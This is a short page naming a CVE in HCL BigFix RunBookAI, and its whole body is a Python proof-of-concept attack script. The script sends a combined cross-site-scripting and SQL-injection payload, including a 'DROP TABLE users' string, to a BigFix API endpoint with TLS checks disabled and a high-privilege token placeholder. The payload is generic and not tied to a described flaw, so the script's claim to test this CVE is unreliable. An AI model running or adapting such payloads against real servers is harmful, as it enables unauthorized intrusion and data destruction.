CVE-2025-62345 HCL BigFix RunBookAI 输入处理漏洞

import requests # Target URL (Example) target_url = "https://target-bigfix-server/api/input_text" # Malicious payload to test input validation # This payload attempts to inject special characters to trigger an error or information leak payload = { "input_text": "<script>alert('xss')</script>; DROP TABLE users; --", "config_id": "12345" } # Authentication headers (High Privilege Required) headers = { "Authorization": "Bearer <HIGH_PRIVILEGE_TOKEN>", "Content-Type": "application/json" } try: # Send POST request response = requests.post(target_url, json=payload, headers=headers, verify=False) # Check response for indicators of vulnerability (e.g., error messages, unhandled input) if response.status_code == 200 and "error" in response.text.lower(): print("[+] Potential vulnerability detected. The server returned an error message.") print(f"[+] Response: {response.text}") else: print("[-] Vulnerability not triggered or input was sanitized.") except Exception as e: print(f"[!] Error during request: {e}")